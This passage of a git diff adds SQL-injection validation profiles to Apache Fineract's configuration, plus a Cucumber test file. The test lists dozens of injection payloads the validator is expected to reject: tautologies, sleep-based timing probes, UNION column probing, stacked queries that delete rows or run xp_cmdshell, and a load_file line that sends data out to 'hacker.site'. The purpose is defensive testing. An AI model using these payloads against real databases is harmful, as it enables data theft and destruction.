+fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
+
+# main
+fineract.sql-validation.profiles[0].name=main
+fineract.sql-validation.profiles[0].description=Main Query Validation Profile
+fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[0].patternRefs[0].order=0
+fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[0].patternRefs[1].order=1
+fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[0].patternRefs[2].order=2
+fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[0].patternRefs[3].order=3
+fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[0].patternRefs[4].order=4
+fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[0].patternRefs[5].order=5
+fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[0].patternRefs[6].order=6
+fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[0].patternRefs[7].order=7
+fineract.sql-validation.profiles[0].enabled=true
+
+# adhoc
+fineract.sql-validation.profiles[1].name=adhoc
+fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
+fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[1].patternRefs[0].order=0
+fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[1].patternRefs[1].order=1
+fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[1].patternRefs[2].order=2
+fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[1].patternRefs[3].order=3
+fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[1].patternRefs[4].order=4
+fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[1].patternRefs[5].order=5
+fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[1].patternRefs[6].order=6
+fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[1].patternRefs[7].order=7
+fineract.sql-validation.profiles[1].enabled=true
+
+# dynamic
+fineract.sql-validation.profiles[2].name=dynamic
+fineract.sql-validation.profiles[2].description=Dynamic Query Validation Profile
+fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[2].patternRefs[0].order=0
+fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[2].patternRefs[1].order=1
+fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[2].patternRefs[2].order=2
+fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[2].patternRefs[3].order=3
+fineract.sql-validation.profiles[2].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[2].patternRefs[4].order=4
+fineract.sql-validation.profiles[2].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[2].patternRefs[5].order=5
+fineract.sql-validation.profiles[2].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[2].patternRefs[6].order=6
+fineract.sql-validation.profiles[2].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[2].patternRefs[7].order=7
+fineract.sql-validation.profiles[2].enabled=true
+
 management.health.jms.enabled=false
 
 # FINERACT 1296
diff --git a/fineract-provider/src/test/resources/features/infrastructure/infrastructure.security.utils.sqlvalidator.feature b/fineract-provider/src/test/resources/features/infrastructure/infrastructure.security.utils.sqlvalidator.feature
new file mode 100644
index 0000000..8ac1d16
--- /dev/null
+++ b/fineract-provider/src/test/resources/features/infrastructure/infrastructure.security.utils.sqlvalidator.feature
@@ -0,0 +1,108 @@
+#
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+#
+
+Feature: Security Utils SQL validator
+
+  @security
+  Scenario Outline: Verify that detects all configured SQL injection patterns
+    Given A partial SQL statement <statement> with whitespaces fuzzy degree <fuzzy>
+    When Validating the partial statement
+    Then The validator had exception message <exception>
+
+    Examples:
+      | statement                                                                | fuzzy | exception                                                                             |
+      | or 'a' = 'a'                                                             | 36    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | ' or 'a' = 'a'                                                           | 12    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | or 'a' = 'a' --                                                          | 27    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | or 'a' = 'a' /*                                                          | 17    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | abc' Or 'a' = 'a' /*                                                     | 19    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | OR 1 = 1                                                                 | 36    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | ' or 1 = 1                                                               | 17    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | or 1 = 1 -----                                                           | 57    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | or 1 = 1 /*                                                              | 11    | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern)         |
+      | 123                                                                      | 0     |                                                                                       |
+      | 2.59                                                                     | 0     |                                                                                       |
+      | abc123xyz                                                                | 0     |                                                                                       |
+      | true                                                                     | 0     |                                                                                       |
+      | [2024, 4, 21]                                                            | 7     |                                                                                       |
+      | ["abc", "def", "ghi", "jkl", "mno"]                                      | 7     |                                                                                       |
+      | ')                                                                       | 0     | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | '))                                                                      | 0     | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | ')))                                                                     | 0     | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | `)                                                                       | 0     | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | `)  )                                                                    | 19    | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | `)))                                                                     | 0     | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | `) ))))   )))))    ))) ))                                                | 23    | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | ")                                                                       | 0     | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | "))                                                                      | 0     | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | ")))                                                                     | 19    | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern)   |
+      | 1' + sleep(10)                                                           | 7     | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | 1' and Sleep(10)                                                         | 7     | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | 1' && sleep(10)                                                          | 7     | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | 1' \| SLEEP(10)                                                          | 7     | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | 1' \|\| sleep(10)                                                        | 7     | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | 1' \|\| pg_sleep(10)                                                     | 7     | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | abc' && benchmark(    400000       , sha1(1)       )                     | 17    | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | 1' and if(1=1, sleep(15), false)                                         | 19    | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') # | 19    | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"]                               | 39    | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern)       |
+      | ["connection_id()=connection_id()" ,"MYSQL"]                             | 39    | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern)       |
+      | ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"]                               | 39    | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern)       |
+      | ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"]              | 39    | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern)       |
+      | ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"]        | 39    | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern)       |
+      | ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"]                | 39    | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern)        |
+      | ["current_database()=current_database()" ,"POSTGRESQL"]                  | 39    | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern)       |
+      | 1' ORDER by 1                                                            | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' ORDER BY 1, 2                                                         | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' ORDER BY 1, 2, 3                                                      | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' group by 1                                                            | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | abc' group by 1, 2 --                                                    | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' group by 1, 2, 3 /*                                                   | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' Union Select 1                                                        | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' Union Select 1, 2                                                     | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' Union Select 1, 2, 3                                                  | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' Union Select null                                                     | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' union select null, null                                               | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | 1' UNION SELECT null, null, null                                         | 23    | SQL validation error: invalid SQL statement (detected 'detect-column' pattern)        |
+      | checkedOnDate                                                            | 23    |                                                                                       |
+      | officeName                                                               | 23    |                                                                                       |
+      | resourceId                                                               | 23    |                                                                                       |
+      | clientId                                                                 | 23    |                                                                                       |
+      | processingResult                                                         | 23    |                                                                                       |
+      | clientName                                                               | 23    |                                                                                       |
+      | maker                                                                    | 23    |                                                                                       |
+      | subresourceId                                                            | 23    |                                                                                       |
+      | checker                                                                  | 23    |                                                                                       |
+      | savingsAccountNo                                                         | 23    |                                                                                       |
+      | loanAccountNo                                                            | 23    |                                                                                       |
+      | groupName                                                                | 23    |                                                                                       |
+      | entityName                                                               | 23    |                                                                                       |
+      | madeOnDate                                                               | 23    |                                                                                       |
+      | id                                                                       | 23    |                                                                                       |
+      | loanId                                                                   | 23    |                                                                                       |
+      | actionName                                                               | 23    |                                                                                       |
+      | select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));        | 17    | SQL validation error: invalid SQL statement (detected 'detect-out-of-bands' pattern)  |
+      | 1; DELETE FROM products                                                  | 19    | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
+      | 1; UPDATE members SET password='pwd' WHERE username='admin'              | 19    | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
+      | 1; exec master..xp_cmdshell 'DEL important_file.txt'                     | 19    | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
+      | 123 --                                                                   | 11    | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern)       |
+      | ' /*                                                                     | 11    | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern)       |
+      | abc' #                                                                   | 11    | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern)       |
+      | 2 ({                                                                     | 11    | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern)       |
+